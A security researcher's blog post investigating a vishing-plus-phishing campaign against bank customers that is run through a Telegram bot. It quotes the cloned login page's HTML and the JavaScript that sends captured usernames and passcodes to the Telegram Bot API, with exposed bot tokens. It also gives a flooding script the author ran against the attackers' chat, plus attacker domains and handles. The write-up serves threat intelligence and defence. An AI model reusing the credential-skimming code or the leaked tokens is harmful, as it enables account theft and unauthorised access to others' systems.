c2 telegram phishing

The Telegram Bank Phishers

In my previous blog post, I explored a false-positive case of domain impersonation. Here, I'll show off what a true-positive would have looked like, with a real example I stumbled upon only a couple of weeks later; a modern-day bank heist targeting customers from banks world-wide. Take a look with me into how some up-and-coming blackhats are operating in the present day, and what to watch out for.

I was first notified of this situation, again, through our company's fraud intel. A recently registered domain, MyCompanyNameLogin.com had popped up out of nowhere, serving a login page that looked identical to the real thing. I would show a picture, but for reasons which will become apparent later, I didn't take a screenshot in time before the site went under. Instead, I'll have to rely on the multitude of other domains the threat actors have spun up since.

A login screen impersonating UK bank Arbuthnot Latham.

Now normally, I would expect a site to be cloned the traditional way - either:

automatically, by just downloading every file served by the webpage, and serving those same files under the same paths.
OR manually, by creating a page from the ground up with only the necessary elements required to visibly fool the average human.

Automatic would be the easiest, and most likely to trick a person, but sometimes manual intervention is required. However, taking a look at the HTML, it looks like a weird mish-mash of the two.

HTML IDs and class names are preserved in some areas. But in other areas, the whole structure of the DOM has been fundamentally changed. There's also a bunch of nicely properly-capitalised HTML comments to indicate boundaries between certain components. But for some reason they left in the exact company-specific ThreatMetrix script the original impersonated domain uses. What on Earth would the point of that be? My best theory is they used an LLM to assist in cloning.

<div id="login-base">
<div id="loginBaseLogo">
<img src="https://mycompanyname.com/images/login-logo-image.png"
width="180" height="auto"
alt="MyCompany"
onerror="this.style.display='none';document.getElementById('logo-svg').style.display='block'">
<svg id="logo-svg" style="display:none;height:38px;" viewBox="0 0 260 40" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="34" font-family="Arial" font-size="34" font-weight="700" font-style="italic" fill="#1a3072">MyCompany</text>
</svg>
</div>
<div class="login-header">
<span class="WelcometoInternet">Welcome to Internet Banking</span>
</div>
<div id="permaAlert">
<span style="flex-shrink:0;font-size:18px;">⚠</span>
<span>Your attempt to sign in has failed. Please check the credentials entered are correct and try again.</span>
</div>
<form autocomplete="off" id="loginFormEl" onsubmit="handleLogin(event)">
<div class="form-group">
<select class="form-control-select" id="acctType">
<option value="savings">MyCompanyName Online Savings</option>
</select>
</div>
<div class="form-group">
<label for="idToken1">Username</label>
<input class="form-control" id="idToken1" type="text" autocomplete="off" autofocus>
</div>
<div class="form-group">
<div class="passcode-label-row">
<label for="idToken2" style="margin-bottom:0;">Passcode</label>
<span class="help-circle" title="Your passcode is the PIN you set up when registering.">?</span>
</div>
<input class="form-control" id="idToken2" type="password" autocomplete="off">
</div>
<div class="login-actions">
<button type="submit" class="btn-signin">Sign in</button>
<a class="signin-help-link"
href="https://mycompanyname.com/help-or-support/"
target="_blank">Sign in help</a>
</div>
</form>
<div id="permaInfo">
<span class="info-icon">i</span>
<span>If you have any questions, please call our friendly team on
999 999 999</span>
</div>
</div>
<a class="live-chat-btn" href="/livechat.exe" download="livechat.exe">
<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor"
stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
<path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/>
</svg>
Live Chat
</a>
<div class="loading-overlay" id="loading-overlay">
<div class="loading-spinner"></div>
<div class="loading-text">Signing in…</div>
</div>
<iframe src="https://mycompanyname.com/fp/yshd.js?org_id=1337c0mp4ny&session_id=d55d20d2-e862-41a5-9824-e64495e8cb78&pageid=0001"
style="width:100px;height:100px;border:0;position:absolute;top:-5000px;"></iframe>

Edit:

Maybe the most obviously strange choice was this change of the regular div subheaders into h2 elements on one of the phishing portals. While I think they actually do look better as h2s, this isn't the sort of thing you'd purposefully do when trying to mimic a website as closely as possible.

Footer information on a bank login page. The subtitles are not flashy.

Footer information on a bank login page. The subtitles are styled as large and bold.

Most noticeably, after performing a 'logical diff' on the two pages, there only seems to be one distinct change in the content served - a new Live Chat button. That's interesting, I wonder what live chat service they're using.

Screenshot of the phishing page. A button titled 'Live Chat'. Devtools is open showing it downloads a livechat.exe file.

An exe... do we have malware on our hands? I was very hopeful we'd have the opportunity to dive deep into binary reverse engineering, but unfortunately we had no such luck. Taking a look at the PE binary data, it appears to be none other than AnyDesk.exe - a legitimate remote desktop application. Featuring a valid authenticode signature, and sporting the exact sha256 hash of AnyDesk 9.7.71; there's no real point looking through it's guts for IOCs.

anuw@anuw-computer:~$ sha256sum livechat.exe 580413ba70f3d11714d4c6785b8bb56cddc262a4b88a4d4abbfc20cf49de8673 livechat.exe anuw@anuw-computer:~$ osslsigncode verify livechat.exe PE checksum : 007F6D75 Signature Index: 0 (Primary Signature) Message digest algorithm : SHA1 Current message digest : 1B86B6EDA13F60369AD9C5546809B18E60A25A92 Calculated message digest : 1B86B6EDA13F60369AD9C5546809B18E60A25A92 Signer's certificate: ------------------ Signer #0: Subject: /C=DE/ST=Baden-W\xC3\xBCrttemberg/L=Stuttgart/O=AnyDesk Software GmbH/CN=AnyDesk Software GmbH Issuer : /C=US/O=DigiCert, Inc./CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 Serial : 020147DDC4D71F184C6C8531BA5569E8 Certificate expiration date: notBefore : Feb 11 00:00:00 2026 GMT notAfter : Feb 12 23:59:59 2027 GMT ... Signature CRL verification: ok Signature verification: ok Number of verified signatures: 2 Succeeded

It is, however, a clue for how the phish operates. A note that I hadn't mentioned until now, is that the fraud intel also came with information detailing how many of our customers had reported suspicious phone calls, urging them to visit and interact with this site. Indeed, this was a hybrid attack between domain impersonation and a phone call phish.

The goal, it seems, was to call our customers, claiming to be the fraud team. As part of their mission to save the customer from fraud, they were to instruct the user to login to this site, and/or participate in a 'live chat' with support. While logging in, they would be instructed to hand over any MFA/OTP to assist - allowing a full account takeover. When going through 'live chat', they would have likely been instructed to allow a remote connection to their device, resulting again in a full account takeover - with the possibility of a full device takeover too.

Given AnyDesk was a bit of a dead-end in terms of technical investigation, it is about now that we should start looking at the code responsible for logging in. I wasn't entirely correct in saying the only addition to the page was the Live Chat button. There does appear to be some extra Javascript included, responsible for listening to any button press of the 'Sign In' button.

function handleLogin(e) {
e.preventDefault();
var username = document.getElementById('idToken1').value.trim();
var passcode = document.getElementById('idToken2').value.trim();
var accType = document.getElementById('acctType').value.trim();
var token = '8742530647:AAEcA3NFgLXp5dMZfM0r4ee_sfTiUxOWFBw';
var chatId = '-1003576244050';
var msg = '--NEW CompanyName VIC--\n'
+ 'Username: ' + username + '\n'
+ 'Passcode: ' + passcode;
try {
new Image().src = 'https://api.telegram.org/bot' + token
+ '/sendMessage?chat_id=' + encodeURIComponent(chatId)
+ '&text=' + encodeURIComponent(msg);
} catch(err) {}
document.getElementById('loading-overlay').classList.add('active');
setTimeout(function() {
window.location.href = 'https://mycompanyname.com/actual/login/portal.html';
}, Math.floor(Math.random() * 1000) + 2000);
}

And what an interesting snippet of code indeed! It looks like on every single press of the button, the site attempts to extract the entered username and passcode, and send it off to a Telegram endpoint. Specifically, the sendMessage method of the Telegram Bot API. And in doing so, they have exposed their Telegram chat_id and bot token. What sort of info can we grab with those?

A good first instinct would be to read the docs. Browsing through, there are quite a few interesting endpoints to call. Let's give them a shot.

That was quite insightful. A supergroup 'Motions Vics', seems to be using this chat not just to receive credentials, but also to control their phishing infrastructure. It looks like either 'us' or another bot in the chat takes actions on domains based on user commands. We've also identified the below 4 out of 6 total members:

🤖 8742530647

V

@vickyvicbot

Vics

💲 8672840896

Devin Macintosh

💲 2083927495

@anonomaz

Kakarot

8692481671

᲼

@TheGoldenGoatS

᲼ ᲼

We could, with this info, reach out to Telegram and attempt to get their operation shut down. They could have their accounts banned, and chat deleted. There are some premium users, so it would set them back like... 5 dollars. And that's after dealing with Telegram support - which I've heard takes quite some time. I have a feeling if we did get them banned, it would only be a matter of hours at most before the operation is spun back up on fresh accounts.

So what can we do? Every second we sit twiddling our thumbs waiting on a take-down request pending with Cloudflare, Telegram, or the registrar, is another second the attacker is actively calling our clients and phishing them out of their real money. Instead, it might be more effective - at least short term, to take matters into our own hands.

Looking at that message_id we grabbed from getUpdates, it's a fairly small number, relatively speaking. Especially given that we know that it's used not just for credentials, but also generally as their C2. If we were to whip up a small script to spam their Telegram chat with false credentials, it may cut into the time they would have otherwise allocated to phishing innocent users. They might be faring well with only 153 messages over the course of some number of days, but I wonder how well they would fare against 500. Or 5000?

Some Good Old-Fashioned Spam

After a short trip to one of the thousands of Top 100 Baby Names 2026 articles littering google, and a small amount of javascript elbow-grease, we now have our script ready to go.

let firstnames = ... // not copying and pasting 200 names here
for (let i = 0; i < 10000; i++) {
let res = await fetch(`https://api.telegram.org/bot8742530647:AAEcA3NFgLXp5dMZfM0r4ee_sfTiUxOWFBw/sendMessage?chat_id=-1003576244050&text=${encodeURIComponent(`--NEW CompanyName VIC--
Username: ${(firstnames[Math.floor(Math.random() * firstnames.length)].toLowerCase()) + (Math.random() < 0.3 ? ['4', '3', '2', '1'][Math.floor(Math.random() * 4)] : '') + (Math.random() < 0.3 ? Math.floor(Math.random() * 100) : '') + (Math.random() < 0.3 ? ['!', '@', '_', '#'][Math.floor(Math.random() * 4)] : '')}
Passcode: ${Math.floor(Math.random() * 100000)}`)}`).then(x => x.json());
console.log(res.ok);
}

Featuring absolutely 0 rate limiting, error handling, asychronicity, or any bell nor whistle; this bad boy will send messages to their chat until we hit the rate limit, and then keep going. Hopefully we don't get fully IP banned by Telegram. Let's hit go, and we're off to the races.

Huh? We only got about 5 minutes in and now we're getting a different error. We might have actually gotten IP banned. We probably should have googled a bit more about Telegram's rate limiting before we hit go.

Or not? 'We', the bot, got kicked. Was that by Telegram? Or by the attackers?

{"log":{"version":"1.2","creator":{"name":"WebInspector","version":"537.36"},"entries":[{"connection":"443","comment":"A left_chat_participant/member action, initiated by TheGoldenGoatS. Looks like a kick for sure.","_resourceType":"document","request":{"method":"GET","url":"https://api.telegram.org/bot8982385590:AAH1H94FvYkiPznfP7Uu182Fj6TQeXVz2LM/getUpdates","httpVersion":"http/2.0","headers":[{"name":":authority","value":"api.telegram.org"},{"name":":method","value":"GET"},{"name":":path","value":"/bot8982385590:AAH1H94FvYkiPznfP7Uu182Fj6TQeXVz2LM/getUpdates"},{"name":":scheme","value":"https"},{"name":"accept","value":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"},{"name":"accept-encoding","value":"gzip, deflate, br, zstd"},{"name":"accept-language","value":"en-US,en;q=0.9"},{"name":"cache-control","value":"no-cache"},{"name":"pragma","value":"no-cache"},{"name":"priority","value":"u=0, i"},{"name":"sec-ch-ua","value":"\"Chromium\";v=\"151\", \"Not=A?Brand\";v=\"99\""},{"name":"sec-ch-ua-mobile","value":"?0"},{"name":"sec-ch-ua-platform","value":"\"Linux\""},{"name":"sec-fetch-dest","value":"document"},{"name":"sec-fetch-mode","value":"navigate"},{"name":"sec-fetch-site","value":"none"},{"name":"sec-fetch-user","value":"?1"},{"name":"upgrade-insecure-requests","value":"1"},{"name":"user-agent","value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"}],"queryString":[],"cookies":[],"headersSize":-1,"bodySize":0},"response":{"status":200,"statusText":"","httpVersion":"http/2.0","headers":[{"name":"access-control-allow-methods","value":"GET, POST, OPTIONS"},{"name":"access-control-allow-origin","value":"*"},{"name":"access-control-expose-headers","value":"Content-Length,Content-Type,Date,Server,Connection"},{"name":"content-length","value":"409"},{"name":"content-type","value":"application/json"},{"name":"date","value":"Sat, 08 Aug 2026 03:12:35 GMT"},{"name":"server","value":"nginx/1.30.1"},{"name":"strict-transport-security","value":"max-age=31536000; includeSubDomains; preload"}],"cookies":[],"content":{"size":409,"mimeType":"application/json","text":"{\"ok\":true,\"result\":[{\"update_id\":973105134,\"message\":{\"message_id\":326,\"from\":{\"id\":8692481671,\"is_bot\":false,\"first_name\":\"᲼ ᲼\",\"username\":\"TheGoldenGoatS\"},\"chat\":{\"id\":-1003576244050,\"title\":\"Motions Vics\",\"type\":\"supergroup\"},\"date\":1784687105,\"left_chat_participant\":{\"id\":8742530647,\"is_bot\":true,\"first_name\":\"Vics\",\"username\":\"vickyvicbot\"},\"left_chat_member\":{\"id\":8742530647,\"is_bot\":true,\"first_name\":\"Vics\",\"username\":\"vickyvicbot\"}}}]}"},"redirectURL":"","headersSize":-1,"bodySize":-1,"_transferSize":655,"_error":null,"_fetchedViaServiceWorker":false},"serverIPAddress":"149.154.166.110","startedDateTime":"2026-08-08T03:12:35.693Z"}]}}

Wow, that was a quick reaction. We must have intersecting timezones, or TheGoldenGoatS has their notifications enabled. I can't say this was exactly the reaction I was hoping for. We only roughly doubled the number of messages to 300. I imagine they'll also re-add a new bot in a short while. So much for wasting the attacker's time. All this and our phished domain is still-

Screenshot of the aaPanel icon. Below, text that reads 'The website has been stopped. Sorry, This site has been stopped by the administrator, Please contact the administrator for details.'

Oh! Cool. That saves me a lot of time and effort. Nevermind then, what an absolute victory. 5 minutes of a small script and we got the webserver taken down. That's so much better than a week of going back and forth with the registrar.

Another command revealed. This plus the aaPanel reveal means we're getting a bit of a clearer picture of how their C2 functions. Having the webserver disabled is a good first step. While we wait for the official take-down requests we submitted earlier to resolve, let's investigate some of their other phishing sites a bit closer.

A Phly on the Wall

During the initial Telegram recon, we did identify that other domain impersonation the attackers seemed to also have control over - arbuthlathamsecure.com. We didn't see any mention of that one being disabled, so if we stick around for long enough we should expect the site to get refreshed with a new bot (and token).

// Telegram bot config
const BOT_TOKEN = '8982385590:AAH1H94FvYkiPznfP7Uu182Fj6TQeXVz2LM';
const CHAT_ID = '-1003576244050';

Sure enough, there it is. Now sporting the username 'newvickyvicbot'. We could simply continue the spam, but they might catch on and rotate out all their domains and tokens at the same time. We would lose all visibility into what companies they are targeting, and with which domains.

It's a tough spot to be in. I still don't really know what the best approach would be. Either cause some short term chaos, potentially drowning out some phished credentials and wasting some time of the attackers, but risk losing all visibility. Or, keep our access, knowing some users will get phished, but in the long term potentially taking greater action against the attacker. Depending on their opsec, going through the registrar may have stronger repurcussions.

In the end, I chose to keep my visibilty into the chat. I set up a small cronjob to monitor getUpdates with both the old and new tokens. Every roughly 10 minutes, I'd save the result of getUpdates to a file, so I could easily grep for new info.

In the meantime, while sitting and observing commands, usernames, and domains, I also set out contacting the affected companies. These other companies would be able to then respond to the attack with the advantage of a well-timed heads-up, and would also be able to action their own take-down requests for the offending domains. It turns out all the companies affected were banks. And from a few different regions all over the world.

Reaching out was actually more difficult than I thought it would be. A lot of these banks only had phone numbers to call, with no public email addresses given. Some numbers you couldn't even ring from overseas. Additionally they were set up to only really handle their own clients calling them to report stuff - requiring I hand over some client ID before I was able to report any sort of fraud. For every company I contacted, I pretty much had to OSINT my way into finding a valid email to contact.

After it was all said and done with, I had a heftly list of domains, 7 commands, and 4 out of 6 chat members. See the full list below. As for what happens next - unfortunately I'm not law enforcement, and there aren't any steps I can take to end the problem for good. My cronjob is still running, and actively finding new developments. Just the other day I saw evidence of their next bank to target. As new victims pop up, I'll keep reaching out. If anything exciting happens I'll update this post. Otherwise, I hope you appreciated the insight into how these sorts of attackers operate. Telegram isn't too strange to see when investigating phishing/malware, but it is quite rare to have this much visibilty into their operations. I imagine that will change as their modus operandi matures.

Attacker Profile

Chat members

🤖 8982385590

V

@newvickyvicbot

VIC BOT

💲 8672840896

@rshdaemon

Daemon

💲 2083927495

@anonomaz

Kakarot

8692481671

᲼

@TheGoldenGoatS

᲼ ᲼

??????????

?

Unknown

??????????

?

Unknown

🤖 8742530647

V

@vickyvicbot

Vics

Domains spun up

allicasupport.co.uk
arbuthnotlathamguard.com
arbuthnotlathamhelp.com
arbuthnotlathamhelpdesk.com
arbuthnotlathamonline.com
arbuthnotlathamprotection.com
arbuthnotlathamsecure.com
arbuthnotlathamsecurity.com
bmofraud.com
hampdensafety.com
investeclivesupport.com
investeconlinehelp.com
investecprivatesecure.com
investecprotection.com
investecsafetyteam.com
nedbankprivatehelp.com
nedbankprivatesafety.com
standardiomonline.com
standardiomsafety.com

Commands issued

/check <domain_name>
/buy <domain_name>
/upload <zip_file> <domain_name>
/enable
/enable <domain_name>
/disable <domain_name>
/pages
/antibot
/balance

References

https://gist.github.com/choco-bot/9497d954dfda4ba55605a0ab7845a02e#:~:text=580413ba70f3d11714d4c6785b8bb56cddc262a4b88a4d4abbfc20cf49de8673

Bonus Info / Appendix

Recent domains (not sure about the older ones) have an Airwallex phishing page under the www.* subdomain. Uses the same Live Chat exe, but logins are sent to /login.php instead of directly to Telegram.
Noticed at least one domain that serves an AnyDesk livechat.dmg for Mac users. Also noticed some domains check for credentials being entered as a prerequisite for sending the Telegram message. Would have otherwise thought this to be an evolution in their codebase, however it's really inconsistently applied. This plus the pretty random nature of the script across each site has me believing it's just generated fresh from an LLM each time.
My estimate of $5 loss to the attackers because of premium was a little bit off. Checking Telegram a bit deeper, it turns out Devin/Daemon is the owner of 3 weird NFT things that Telegram appears to support. The most 'valuable' of the lot trading for >$100 (unclear if this is USD or AUD).
He's also received 3 gifts in the last few months from an absolute whale by Telegram standards. This person has traded tens of thousands worth of TON/GRAM (a crypto that seems to be created/integrated with Telegram) to buy highly sought after edgy usernames and NFTs. Would be kind of crazy if they were using Telegram as their laundromat.

💲 6452230728 💲

@went

@sociopathic

@predator

@faze

@tore

𐕣
later.ton

The Telegram Bank Phishers

Edit:

🤖 8742530647

V

💲 8672840896

💲 2083927495

8692481671

᲼

Some Good Old-Fashioned Spam

A Phly on the Wall

Attacker Profile

Chat members

🤖 8982385590

V

💲 8672840896

💲 2083927495

8692481671

᲼

??????????

?

??????????

?

🤖 8742530647

V

Domains spun up

Commands issued

References

Bonus Info / Appendix

💲 6452230728 💲